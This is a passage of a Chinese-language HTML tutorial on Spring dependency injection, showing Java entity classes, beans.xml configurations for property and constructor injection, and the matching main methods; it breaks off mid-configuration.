Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">我们的第一反应肯定是 new 一个对象，这也就是我们的习惯思维，调用者来创建被调用者的实例，而在依赖注入的思想里，我们不是直接 new 对象了，而是通过传递外部引用，也就是通过外部注入依赖。这也是依赖注入的思想，依赖注入主要作用就是其能够让相互协作的软件组件保持松散耦合。土话说就是不要修改相关类中的代码，直接传入相关值就行。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这里简单介绍三种依赖注入，属性注入，构造函数注入，工厂方法注入，至于泛型依赖注入，后面学到再介绍吧。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">有两个类，分别为<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">People.java</code>和<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Dog.java</code>，内容分别如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">package</span> com.java002.entity;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">People</span> </span>{<br/>    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> id;<br/>    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> String name;<br/>    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> age;<br/>    <br/>    <br/>    <br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">People</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>();<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Auto-generated constructor stub</span><br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">People</span><span style="box-sizing: border-box;">(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> id, String name, <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> age)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>();<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.id = id;<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.name = name;<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.age = age;<br/>    }<br/>    <br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getId</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> id;<br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">setId</span><span style="box-sizing: border-box;">(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> id)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.id = id;<br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getName</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> name;<br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">setName</span><span style="box-sizing: border-box;">(String name)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.name = name;<br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getAge</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> age;<br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">setAge</span><span style="box-sizing: border-box;">(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> age)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.age = age;<br/>    }<br/>    <br/>    <span style="box-sizing: border-box;color: rgb(249, 145, 87);">@Override</span><br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">toString</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;People [id=&#34;</span> + id + <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;, name=&#34;</span> + name + <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;, age=&#34;</span> + age + <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;]&#34;</span>;<br/>    }<br/>      <br/>    <br/>}<br/></code></pre><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">package</span> com.java002.entity;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">Dog</span> </span>{<br/>    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> String name;<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getName</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> name;<br/>    }<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">setName</span><span style="box-sizing: border-box;">(String name)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.name = name;<br/>    }<br/>    <br/>    <br/>}<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>    }</code></pre><p><span name="menu_index_6" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">属性注入</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>配置如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>  <br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people2&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java002.entity.People&#34;</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">name</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;id&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;2&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">name</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;李二&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">name</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;age&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;22&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/>    <br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数修改如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//属性注入</span><br/>        People people2 = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people2&#34;</span>);<br/>        System.out.println(people2);<br/>}</code></pre><p><span name="menu_index_7" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">构造函数注入</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">构造函数注入有三种类型，分别是通过类型的构造函数注入，通过索引的构造函数注入，通过联合使用的构造函数注入。</p><p><span name="menu_index_8" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">通过类型</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>配置如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people3&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java002.entity.People&#34;</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">type</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;int&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;3&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">type</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;String&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;三三&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">type</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;int&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;33&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/>  <br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数修改如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//构造方法注入</span><br/>        People people3 = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people3&#34;</span>);<br/>        System.out.println(people3);<br/>    }</code></pre><p><span name="menu_index_9" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">通过索引</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>配置如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people4&#34;</span> <span style="box-sizing: 